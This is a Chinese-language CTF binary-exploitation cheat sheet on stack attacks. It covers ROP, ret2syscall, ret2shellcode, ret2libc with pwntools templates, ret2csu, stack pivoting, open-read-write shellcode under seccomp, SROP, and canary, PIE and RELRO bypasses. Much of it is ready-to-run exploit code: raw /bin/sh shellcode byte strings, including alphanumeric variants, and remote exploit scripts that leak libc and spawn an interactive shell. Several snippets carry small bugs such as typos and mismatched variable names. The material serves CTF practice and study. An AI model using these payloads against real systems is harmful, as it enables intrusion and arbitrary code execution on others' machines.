栈

​

基础

文件描述符

0代表stdin，1代表stdout，2代表stderr。如果此时再打开一个新文件，那么文件描述符就是3。

dup2 可以用参数newfd指定新文件描述符的数值。若参数newfd已经被程序使用，则系统就会将newfd所指的文件关闭，若newfd等于oldfd，则返回newfd，而不关闭newfd所指的文件。dup2 所复制的文件描述符与原来的文件描述符共享各种文件状态，共享所有的锁定，读写位置和各项权限或flags等。

​

ROP

ROP（Return-Oriented Programming, 返回导向编程）

通过栈溢出的漏洞，覆盖return address，从而达让直行程序反复横跳的一种技术。

静态

生成ROPchain：

ROPgadget --binary [file] --ropchain

ropper --file [file] --chain execve

​

ret2syscall

系统调用号查询：https://syscalls.w3challs.com/

32位

调用约定：系统调用号 $eax，参数：$ebx/$ecx/$edx/$esi/$edi/$ebp，调用 int 0x80。

调用 execve("/bin/sh", 0, 0)：

# $eax = 0xb = 11
ROPgadget --binary vuln --only "pop|ret" | grep eax
# $ebx = ["/bin/sh"]
ROPgadget --binary vuln --only "pop|ret" | grep ebx
ROPgadget --binary vuln --string "/bin/sh"
# $ecx = 0
ROPgadget --binary vuln --only "pop|ret" | grep ecx
# $edx = 0
ROPgadget --binary vuln --only "pop|ret" | grep edx
# int 0x80
ROPgadget --binary vuln --only "int"

64位

调用约定：系统调用号 $rax，参数：$rdi/$rsi/$rdx/$rcx($r10)/$r8/$r9，调用 syscall。

调用 execve("/bin/sh", 0, 0)：

# $rax = 0x3b = 59
ROPgadget --binary vuln --only "pop|ret" | grep rax
# $rdi = ["/bin/sh"]
ROPgadget --binary vuln --only "pop|ret" | grep rdi
ROPgadget --binary vuln --string "/bin/sh"
# $rsi = 0
ROPgadget --binary vuln --only "pop|ret" | grep rsi
# $rdx = 0
ROPgadget --binary vuln --only "pop|ret" | grep rdx
# syscall
ROPgadget --binary vuln --only "syscall"

​

ret2shellcode

shellcode数据库：

Shellcodes database for study cases

常用shellcode

pwntools

# pwntools
context.arch = elf.arch
shellcode = asm(shellcreaft.sh())

32位

# other
shellcode = asm('''push eax
                    pop ebx 
                    push edx
                    pop eax
                    dec eax
                    xor al,0x46
                    xor byte ptr[ebx+0x35],al #set int 0x80
                    xor byte ptr[ebx+0x36],al
                    push ecx 
                    pop eax
                    xor al, 0x41
                    xor al, 0x40
                    push ecx
                    pop eax
                    xor al, 0x41
                    xor al, 0x40
                    push ecx
                    pop eax
                    xor al, 0x41
                    xor al, 0x40
                    push ecx # set al=0xb
                    pop eax
                    xor al, 0x41
                    xor al, 0x40
                    push edx  # set ecx=0
                    pop ecx
                    push 0x68 # push /bin/sh
                    push 0x732f2f2f
                    push 0x6e69622f
                    push esp
                    pop ebx''') 

# other
# 21 bytes
'\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80'
# ascii
'PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE22I2NFOSCRHEP0WQCK9KQ8MK0AA'
# for scanf
'\xeb\x1b\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x29\xc0\xaa\x89\xf9\x89\xf0\xab\x89\xfa\x29\xc0\xab\xb0\x08\x04\x03\xcd\x80\xe8\xe0\xff\xff\xff/bin/sh'

64位

# read(0,0xcafe0000,0x1000)
shellcode = asm("""
    xor eax, eax /* SYS_read */
    xor edi, edi /* 0 */
    mov edx, 0x1000
    mov esi, 0xcafe0000
    syscall
""")

# other
# 23 bytes
'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
'\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
# ascii
'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
# for scanf
'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05'

shellcode限制

可见字符

构造一些xor操作，通过xor的操作对寄存器赋值。

工具：

AE64、alpha3、shellcode_encoder

参考：

MRCTF 2020 - shellcode_revenge

NSSRound#4 - 百密一疏 1 2 3

NewStarCTF 2023 - shellcode revenge

[原创]可见shellcode字符的艺术

更多限制

函数 __ctype_b_loc()

如 if ( ((*__ctype_b_loc())][s[i]] & 0x4000) == 0 && s[i] != 10) {}

见 ctype/ctype.h 源码，作用为将输入的字符根据 ((bit) < 8 ? ((1 << (bit)) << 8) : ((1 << (bit)) >> 8)) 进行处理，然后根据下面表对应的结果进行返回。

参考：2021 天翼杯 - ezshell

​

ret2libc

Patial RELRO下，调⽤库函数⼀次之后，GOT表中会存放libc相关地址。

libc数据库

https://libc.blukat.me/

https://libc.rip/

https://libc.nullbyte.cat/

glibc-all-in-one

板子

查gadget：

ROPgadget --binary [file] --only "pop|ret" | grep "xxx"

ropper --file [file] --search "xxx"

给定libc

# x64
from pwn import *

r = remote('x.x.x.x', 22222)
# r = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so')

write_plt = elf.plt.write
write_got = elf.got.write
main_addr = elf.sym.main

pop_rdi = 0x401233
pop_rsi = 0x401231

pl = 'a'*(0x80+8)+p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(write_got)+p64(0)+p64(write_plt)+p64(main_addr)
p.sendline(pl)
write_addr = u64(r.recv(6).ljust(8,'\x00'))
# 或 write_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print(hex(write_addr))

libc_base = write_addr-libc.sym.write
print(hex(libc_base))
system_addr = libc_base+libc.sym.system
binsh_addr = libc_base+libc.search('/bin/sh').next()

pl = 'a'*(0x80+8)+p64(pop_rdi)+p64(binsh_addr)+p64(system_addr)
p.sendline(pl)
p.interactive()

使用LibcSearcher

LibcSearcher项目:

LibcSearcher、LibcSearcher_plus

# x64
from pwn import *
from LibcSearcher import *

r = remote('x.x.x.x', 22222)
elf = ELF('./pwn')

pop_rdi_ret = 0x400c83
ret = 0x4006b9
puts_plt = elf.plt.puts
puts_got = elf.got.puts
main_addr = elf.sym.main

payload = 'a'*0x58 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
r.sendline(payload)
puts_addr = u64(r.recv(6).ljust(0x8, b'\x00'))
# 或 puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))

libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
print(libcbase)

sys_addr = libcbase + libc.dump('system')
bin_sh = libcbase + libc.dump('str_bin_sh')
payload = 'a'*0x58 + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(sys_addr)
r.sendline(payload)

r.interactive()

one_gadget

查找已知的libc中 exevce("/bin/sh") 语句的地址：

one_gadget libc.so

# x64
from pwn import *

r = remote('x.x.x.x', 22222)
elf = ELF('./pwn')
libc = ELF('./libc.so')

pop_rdi_ret = 0x400c83
ret = 0x4006b9
puts_plt = elf.plt.puts
puts_got = elf.got.puts
main_addr = elf.sym.main

payload = 'a'*0x58 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
r.sendline(payload)
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print(hex(puts_addr))

libc_base = puts_addr - libc.sym.puts

#one_gadget libc.so
execve_addr = libc_base + 0x10a38c

payload = 'a'*0x58 + p64(execve_addr)
r.sendline(payload)

r.interactive()

​

ret2csu

在x64中，如果遇到函数调用需要传入3个参数，分别依赖rdi/rsi/rdx三个寄存器，但通过ROPgadget无法找到相关的寄存器利用链，这时就要开始考虑通过调用__libc_csu_init函数来实现传递3个参数的效果，这种实现方式，称为 ret2csu。

gadget1 部分：

400610 pop rbx # 必须为 0
400613 pop rbp # 必须为 1
400616 pop r12 # call（由于下面 call 指令的寻址方式为间接寻址，所以此处应为got表地址）
400619 pop r13 # arg3
40061d pop r14 # arg2
400621 pop r15 # arg1
400624 retn    # to gadget2

gadget2 部分：

400610 mov rdx, r13 # 传入第三个参数rdx
400613 mov rsi, r14 # 传入第二个参数rsi
400616 mov edi, r15 # 传入第一个参数rdi
400619 call qword ptr [r12+rbx*8] call # 此时 rbx=0 ，r12=func_got,call[r12]=call func
40061d add rbx, 1
400621 cmp rbx, rbp
400624 jnz short loc_400880
400626 add rsp, 8 # padding
40062a pop rbx # padding
40062b pop rbp # padding
40062c pop r12 # padding
40062e pop r13 # padding
400630 pop r14 # padding
400632 pop r15 # padding
400634 retn ——> # 构造padding(7*8=56byte)就返回

ROP链：

gadget1_addr
0 (must)
1 (must)
write_got
0x10 (write_arg3_size)
write_got (write_arg2_buf)
1 (write_arg1_fd)
gadget2_addr
AAAAAAAA (填充 add rsp, 8)
AAAAAAAA (填充 pop rbx)
AAAAAAAA (填充 pop rbp)
AAAAAAAA (填充 pop r12)
AAAAAAAA (填充 pop r13)
AAAAAAAA (填充 pop r14)
AAAAAAAA (填充 pop r15)
0xffffffffffffffff (ret)

参考：

关于学习ret2csu的总结

Linux x64 下的万能 Gadget

​

ret2dl_resolve

前提：Patial RELRO

思路：

1. 伪造 link_map->l_addr 为libc中已解析函数与想要执行的目标函数的偏移值，如

addr_system-addr_xxx

1. 伪造 sym->st_value 为已经解析过的某个函数的 got 表的位置

2. 也就是相当于 value = l_addr + st_value = addr_system - addr_xxx + real_xxx =

real_system

参考：

ret2dlresolve超详细教程(x86&x64)

​

其他姿势

栈迁移

在一般的栈溢出攻击时，有一个前提条件是“有充分的栈空间用来布局”，通常我们会在栈的剩余空间上存放一些恶意指令。但是当栈的剩余空间很小时，例如只可覆盖ebp和ret，一般的栈溢出思路就无法完成攻击。

不过既然栈上没有足够的空间供我们布置，那我们可以尝试找另一块空间来进行布局，然后将栈指针esp劫持到这里就能完成攻击，这就是”栈迁移“的基本思想。

如图所示，当主调函数调用func函数时：

• 执行push eip+4将调用语句的下一条语句保存到栈上，用来在函数返回时跳转到返回地址（ret）
• PC指向func函数的地址

在执行func函数前：

• func会先将ebp寄存器中的值保存到栈上，用于在函数返回时还原ebp为主调函数的栈底。

函数执行完毕，返回，会执行leave ret这两条语句

• leave相当于mov esp,ebp（把栈指针指向栈底，销毁栈帧）、pop ebp（还原ebp为主调函数的栈底）。
• ret相当于pop eip（把栈上保存的返回地址存入eip寄存器）

从这里可以知道，ebp的值可以控制esp，但是leave指令是先mov esp,ebp后pop ebp，看上去没有办法通过修改栈上保存的ebp改变esp的值，不过不要忘记我们还可以控制ret的值，如果把ret覆盖为leave ret的地址，我们覆盖的假ebp就可以通过两次leave语句到esp寄存器上，从而完成了栈迁移。

思路：

利用第一次输入泄露出ebp地址，再利用第二次输入构造一个栈，将esp劫持到我们构造的栈上，再把栈上的返回地址改为system函数的地址，这样就模拟出了一次system("/bin/sh")的调用。

例：

pay = p64(pop_rdi_ret) + p64(binsh) + p64(libc.sym["system"])
pay = pay.ljust(0x50, b'\x00')
pay += p64(rop_addr - 8)
pay += p64(leave_ret)

参考：

ciscn_2019_es_2

​

特殊系统调用

mprotect

将内存页的权限修改为可读可写可执行。

需要注意的是指定的内存区间必须包含整个内存页（4K）。区间开始的地址start必须是一个内存页的起始地址，并且区间长度len必须是页大小的整数倍。

#include <sys/mman.h>
int mprotect(void *addr, size_t len, int prot);
/*
addr：修改保护属性区域的起始地址，addr必须是一个内存页的起始地址，简而言之为页大小（一般是 4KB == 4096字节）整数倍。
len：被修改保护属性区域的长度,最好为页大小整数倍。修改区域范围[addr, addr+len-1]。
prot：可以取以下几个值，并可以用“|”将几个属性结合起来使用：
1）PROT_READ：内存段可读；
2）PROT_WRITE：内存段可写；
3）PROT_EXEC：内存段可执行；
4）PROT_NONE：内存段不可访问。
返回值：0；成功，-1；失败（并且errno被设置）
1）EACCES：无法设置内存段的保护属性。当通过 mmap(2) 映射一个文件为只读权限时，接着使用 mprotect() 标志为 PROT_WRITE这种情况就会发生。
2）EINVAL：addr不是有效指针，或者不是系统页大小的倍数。
3）ENOMEM：内核内部的结构体无法分配。
这里的参数prot：
			r:4
			w:2
			x:1
prot为7（1+2+4）就是rwx可读可写可执行，与linux文件属性用法类似。 */

getdents64

读取目录结构。

int getdents(unsigned int fd, struct linux_dirent *dirp,unsigned int count);

参数一：fd指针

参数二：写入的内存区域

参数三：4096

功能：把当前文件目录下的文件名写入参数二指向的内存区域

该函数是一个解析文件夹的函数，第一个参数时要解析的文件句柄，第二个参数是存放解析数据的位置，count是dirp的大小，通过这个我们就可以解析文件夹，需要注意的是当打开文件夹时open的第二个参数为0x10000,打开文件时的参数为0。

返回结构体：

struct linux_dirent64 {
    ino64_t d_ino; /* 64-bit inode number */
    off64_t d_off; /* 64-bit offset to next structure */
    unsigned short d_reclen; /* Size of this dirent */
    unsigned char d_type; /* File type */
    char d_name[]; /* Filename (null-terminated) */
};

​

orw

orw 方式，即 open-read-write，通过文件操作直接获取文件内容。

查找 syscall; ret 的 gadget方法

1. 用 opcode 功能搜

   from pwn import *
   print(asm('syscall;ret').encode('hex'))
   # 0f05c3

2. ROPgadget搜索

   ROPgadget --binary libc-2.31.so --opcode 0f05c3

shellcode

pwntools

# pwntools
shellcode = ''
shellcode += shellcraft.open('./flag')
shellcode += shellcraft.read('eax','esp',0x100)
shellcode += shellcraft.write(1,'esp',0x100)
payload = asm(shellcode)

shellcode = b"\x90" * 0x100
shellcode += shellcraft.open("/flag")
shellcode += shellcraft.read(3, 0xCAFE0500, 0x500)
shellcode += shellcraft.write(1, 0xCAFE0500, 0x500)
payload = asm(shellcode)

32位

shellcode = """
    /*open(./flag)*/
    push 0x1010101
    xor dword ptr [esp], 0x1016660
    push 0x6c662f2e
    mov eax,0x5
    mov ebx,esp
    xor ecx,ecx
    int 0x80
    /*read(fd,buf,0x100)*/
    mov ebx,eax
    mov ecx,esp
    mov edx,0x30
    mov eax,0x3
    int 0x80
    /*write(1,buf,0x100)*/
    mov ebx,0x1
    mov eax,0x4
    int 0x80
    """

64位

shellcode = asm('''
    /*open(./flag)*/
    push 0x67616c66
    mov rdi,rsp
    xor esi,esi
    push 2
    pop rax
    syscall
    /*read(fd,buf,0x100)*/
    mov rdi,rax
    mov rsi,rsp
    mov edx,0x100
    xor eax,eax
    syscall
    /*write(1,buf,0x100)*/
    mov edi,1
    mov rsi,rsp
    push 1
    pop rax
    syscall
    ''')

ROP链

open

# open(".")
payload += p64(pop_rax_ret)
payload += p64(2)
payload += p64(pop_rdi_ret)
payload += p64(bss_addr)
payload += p64(pop_rsi_ret)
payload += p64(0)
payload += p64(pop_rdx_r12_ret)
payload += p64(0)
payload += p64(0)
payload += p64(syscall_ret)

read

# read(0, bss_addr, 2)
payload += p64(pop_rdi_ret)
payload += p64(0)
payload += p64(pop_rsi_ret)
payload += p64(bss_addr)
payload += p64(pop_rdx_r12_ret)
payload += p64(2)
payload += p64(0)
payload += p64(elf.sym['read'])

write

# write(1, bss_addr + 0x200, 0x600)
payload += p64(pop_rax_ret)
payload += p64(1)
payload += p64(pop_rdi_ret)
payload += p64(1)
payload += p64(pop_rsi_ret)
payload += p64(bss_addr + 0x200)
payload += p64(pop_rdx_r12_ret)
payload += p64(0x600)
payload += p64(0)
payload += p64(syscall_ret)

seccomp保护 / sandbox

特征：在 sandbox 函数中看到⼤量的赋值语句，最后调⽤了 prctl。

查看限制：seccomp-tools dump ./pwn

禁用o

代替 2-open：

32/64通用：257-openat

禁用r

代替 0-read：

32位：515-readv，534-preadv，546-preadv2

64位：19-readv，295-preadv，327-preadv2

禁用w

代替 1-write：

32位：516-writev，535-pwritev，547-pwritev2

64位：20-writev，296-pwritev，328-pwritev2

代替 read+write：

32/64通用：40-sendfile

禁用x

代替 59/520-execve：

32位：545-execveat

64位：322-execveat

​

保护

ALSR

ASLR 的是操作系统的功能选项，作用于 executable（ELF）装入内存运行时，因而只能随机化 stack、heap、libraries 的基址。

​

NX

No-Execute（不可执行），NX 的原理是将数据所在内存页标识为不可执行，当程序执行流被劫持到栈上时，程序会尝试在数据页面上执行指令，因为数据页被标记为不可知性，此时CPU就会抛出异常，而不是去执行栈上数据。

​

canary

金丝雀保护，是一种用来防护栈溢出的保护机制。其原理是在函数入口处，先从 fs/gs 寄存器中取出一个 4(eax)/8(rax) 字节的 cookie 信息存到栈上，当函数结束返回的时候会验证 cookie 信息是否合法(与开始存的是否一致)，如果不合法就停止程序运行。真正的 cookie 信息也会保存在程序的某个位置。插入栈中的 cookie 一般在 ebp / rbp 之上的一个内存单元保存。

常用泄露方法：覆盖低位canary的0带出来canary。

Stack smash / ssp攻击

通过 __stack_chk_fail 函数打印报错信息来实现。

据 __stack_chk_fail 源码，报错信息中会打印出libc_argv[0]的值，而libc_argv[0]指向的则是程序名。若能够栈溢出足够的长度，覆盖到__libc_argv[0]的位置，就能让程序打印出任意地址的数据，造成任意地址数据泄露。

TLS

线程局部存储 (TLS) 是一种存储持续期（storage duration），对象的存储是在线程开始时分配，线
程结束时回收，每个线程有该对象自己的实例。

TLS 具有 TCB 结构体。也就是说对于 TLS 的变量，每个线程都会有自己独有的一份，既然维护 canary 的 TCB 结构体是 TLS 的，就不能想到这个结构体必然会在线程自己申请的空间里面，并且在作比较时也是和自己独有的那一份比较的。TCB 结构体是是以 fs 作为基址索引的，TCB 结构体的定义：

typedef struct
{
    void *tcb;     /* Pointer to the TCB. Not necessarily the
                      thread descriptor used by libpthread. */
    dtv_t *dtv;
    void *self;      /* Pointer to the thread descriptor. */
    int multiple_threads;
    int gscope_flag;
    uintptr_t sysinfo;
    uintptr_t stack_guard;
    uintptr_t pointer_guard;
    unsigned long int vgetcpu_cache[2];
    /* Bit 0: X86_FEATURE_1_IBT.
       Bit 1: X86_FEATURE_1_SHSTK.
    */
    unsigned int feature_1;
    int __glibc_unused1;
    /* Reservation of some values for the TM ABI. */
    void *__private_tm[4];
    /* GCC split stack support. */
    void *__private_ss;
    /* The lowest address of shadow stack, */
    unsigned long long int ssp_base;
    /* Must be kept even if it is no longer used by glibc since programs,
    like AddressSanitizer, depend on the size of tcbhead_t. */
    __128bits __glibc_unused2[8][4] __attribute__ ((aligned (32)));
    void *__padding[8];
} tcbhead_t;

在 gdb 里面看 fs 附近的内存分布情况，使用 fsbase 查看 fs 的值，内存分布和结构体定义一致，所以 fs 就是指向 TCB 结构体，vmmap 一下会发现 TCB 是存在栈上的，而且显然建立的时间在 test_thread 之前，又由于可以栈溢出接近 0x1000 个字节，完全可以覆写 TCB 结构体，把 TCB 的 stack_guard 字段写成比如 p64(0)，那么溢出到 canary 的时候覆写成 0 就可以 bypass canary。

​

PIE

PIE（Position Independent Executables）是编译器（gcc，…）功能选项（-fPIE / -fpie），作用于编译过程，可将其理解为特殊的 PIC（so专用，Position Independent Code），加了 PIE 选项编译出来的 ELF 用 file 命令查看会显示其为 so，其随机化了 ELF 装载内存的基址（代码段、plt、got、data 等共同的基址）。其效果为用 objdump、IDA 反汇编之后的地址是用偏移表示的而不是绝对地址。

ELF是按页对齐，一页是0x1000，所以低三位十六进制的值不会改变。

​

RELRO

RELRO（ReLocation Read-Only），堆栈地址随机化， 是一种用于加强对 binary 数据段的保护的技术。

Partial RELRO ，GOT 部分的非 PLT 部分（来自 readelf 输出的 .got）是只读的，但 .got.plt 仍然是可写的。

Full RELRO，整个 GOT（.got 和 .got.plt）都被标记为只读。

GOT全称 Global Offset Table 全局偏移表。
“.got.plt” 是GOT的一部分，另一部分是 “.got”。
“.got”存放全局变量引用地址。”.got.plt”存放函数引用地址。

​

SROP

移栈构造所需字符串，进行srop，调用execve。

例：

frame=SigreturnFrame()
frame.rdi=59
frame.rsi=bss-0x30
frame.rdx=0
frame.rcx=0
frame.rsp=bss+0x38
frame.rip=syscall

p.send(b'/bin/sh\x00'+b'a'*0x30+flat(rdi,0xf,syscall,frame))

​

BROP

（预留）

​

其他

泄露方法

stdout leak

（待补充）

​

_environ

在libc中保存了一个函数 _environ，存的是当前进程的环境变量，它储存在libc中，是沟通libc地址与栈地址的桥梁。通过libc找到environ地址后，泄露environ地址处的值，可以得到环境变量地址，环境变量保存在栈中，通过偏移可以得到栈上任意变量的地址。

​

scanf

scanf有个特性，当输入非法数据时，比如输入非数字，它不会覆盖原本参数的所在地址上的数据，从而利用后面的格式化字符串来打印出栈上数据。

​

随机数（srand+rand）

glibc随机数发生器

使用python的ctype库，LoadLibrary，导入libc.so.6。使用方法类似C的LoadLibrary，但是不用创建函数指针，已经封装好了。

from pwn import *
from ctypes import *

s = remote("ip","port")

libc = cdll.LoadLibrary("libc.so.6")
libc.srand(libc.time(0))

for i in range(50):
    rand = str(libc.rand()%6+1)
    s.sendline(rand)

s.interactive()

​

限制绕过

关闭输出

close(1); => exec 1>&0 或 exec 1>&2

​

时间侧信道

基于时间的侧信道攻击，在检查验证码时，正确的位数越多，延迟的时间就越长。故可以从时间的角度判断该位验证码是否正确。

参考：

NewStarCTF 2023 Week5 - login